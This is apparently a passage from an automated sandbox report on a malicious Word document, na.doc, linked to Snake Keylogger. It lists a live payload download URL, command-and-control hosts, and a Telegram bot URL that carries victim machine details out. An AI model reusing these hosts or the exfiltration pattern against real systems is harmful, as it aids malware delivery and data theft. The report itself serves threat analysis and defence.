https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	188.114.96.3	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	158.101.44.242	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/173.254.250.78	false		unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exe	true		unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:971342%0D%0ADate%20and%20Time:%2010/30/2024%20/%207:45:32%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20971342%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf	cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034BC000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org	cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot	cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net03	cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:971342%0D%0ADate%20a	cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.diginotar.nl/cps/pkioverheid0	cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://varders.kozow.com:8081	cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/search?q=wmf	cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://checkip.dyndns.org/q	cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://reallyfreegeoip.org	cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002460000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002453000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000249C000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000248A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002436000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024AA000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023BB000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000244A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.com	cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002460000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002453000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000249C000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002443000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023A2000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000248A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002436000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024AA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.entrust.net0D	cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	cmnjgyugo61000.exe, 00000005.00000002.414566324.00000000023E8000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/	cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exeT	EQNEDT32.EXE, 00000002.00000003.401554173.00000000005B4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/server1.crl0	cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exettC:	EQNEDT32.EXE, 00000002.00000002.401749638.000000000058F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i	cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exe8/	EQNEDT32.EXE, 00000002.00000002.401749638.000000000058F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/173.254.250.784	cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002460000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002453000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023E5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000249C000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000248A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002436000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024AA000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000244A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exej	EQNEDT32.EXE, 00000002.00000002.401749638.000000000058F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://checkip.dyndns.org	cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002396000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002460000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002453000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023E5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000249C000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000246E000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002443000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023A2000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000248A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002436000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024AA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/favicon.ico	cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://aborters.duckdns.org:8081	cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/sorry/index	cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000341D000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.0000000003452000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anotherarmy.dns.army:8081	cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002301000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://87.120.84.38/txt/CLLPdgxhnmwGf5Y.exeC:	EQNEDT32.EXE, 00000002.00000002.401749638.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.401554173.00000000005ED000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org	cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002460000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002453000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023E5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000249C000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000023A2000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000248A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002436000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024AA000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.000000000244A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a	cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034BC000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/search?q=net	cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034D1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/sorry/indextest	cmnjgyugo61000.exe, 00000008.00000002.909020505.0000000003462000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000342A000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.0000000003516000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.0000000003408000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034DE000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000034BC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://api.telegram.org	cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000024B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://secure.comodo.com/CPS0	cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/2048ca.crl0	cmnjgyugo61000.exe, 00000008.00000002.908330033.000000000089B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025D5000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002594000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.000000000337B000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.0000000002581000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.909020505.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908507517.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	cmnjgyugo61000.exe, 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, cmnjgyugo61000.exe, 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	unknown	United States	16989	UTMEMUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
188.114.97.3	unknown	European Union	13335	CLOUDFLARENETUS	false
87.120.84.38	unknown	Bulgaria	51189	SHARCOM-ASBG	true
193.122.6.168	unknown	United States	31898	ORACLE-BMC-31898US	false
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
132.226.247.73	unknown	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545179
Start date and time:	2024-10-30 08:13:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	na.doc
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winDOC@9/14@26/8
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 99% Number of executed functions: 64 Number of non-executed functions: 12
Cookbook Comments:	Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer Override analysis time to 74790.3642158095 for current running targets taking high CPU consumption Override analysis time to 149580.728431619 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, conhost.exe, svchost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 3308 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: na.doc

Simulations

Behavior and APIs

Time	Type	Description
03:14:14	API Interceptor	318x Sleep call for process: EQNEDT32.EXE modified
03:14:19	API Interceptor	7330075x Sleep call for process: cmnjgyugo61000.exe modified
03:14:24	API Interceptor	28x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	Quality stuff.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	z59IKE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	Proforma-Invoice#018879TT0100..doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	come.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	INVOICE.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	AWB#21138700102.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	na.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
149.154.167.220	file.exe	Get hash	malicious	WhiteSnake Stealer	Browse
	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Request For Quotation-RFQ097524_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Pedido de Cota#U00e7#U00e3o -RFQ20241029_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Ndnownts.exe	Get hash	malicious	Snake Keylogger	Browse
	installer.exe	Get hash	malicious	Unknown	Browse
188.114.97.3	lf1SPbZI3V.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/alpha2/five/fre.php
	Comprobante de pago.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/vdlzo
	Purchase_Order_pdf.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/g48c/
	zxalphamn.doc	Get hash	malicious	Lokibot	Browse	touxzw.ir/alpha2/five/fre.php
	rPO-000172483.exe	Get hash	malicious	FormBook	Browse	www.launchdreamidea.xyz/2b9b/
	rPO_28102400.exe	Get hash	malicious	Lokibot	Browse	ghcopz.shop/ClarkB/PWS/fre.php
	PbfYaIvR5B.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	windowsxp.top/ExternaltoPhppollcpuupdateTrafficpublic.php
	SR3JZpolPo.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	5Z1WFRMTOXRH6X21Z8NU8.exe	Get hash	malicious	Unknown	Browse	artvisions-autoinsider.com/8bkjdSdfjCe/index.php
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/4hfb/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	File07098.PDF.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Request For Quotation-RFQ097524_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Pedido de Cota#U00e7#U00e3o -RFQ20241029_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	z1MRforsteamDRUM-A1_pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
checkip.dyndns.com	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	File07098.PDF.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	Quality stuff.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Request For Quotation-RFQ097524_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	Pedido de Cota#U00e7#U00e3o -RFQ20241029_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
api.telegram.org	file.exe	Get hash	malicious	WhiteSnake Stealer	Browse	149.154.167.220
	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Request For Quotation-RFQ097524_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Pedido de Cota#U00e7#U00e3o -RFQ20241029_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Ndnownts.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
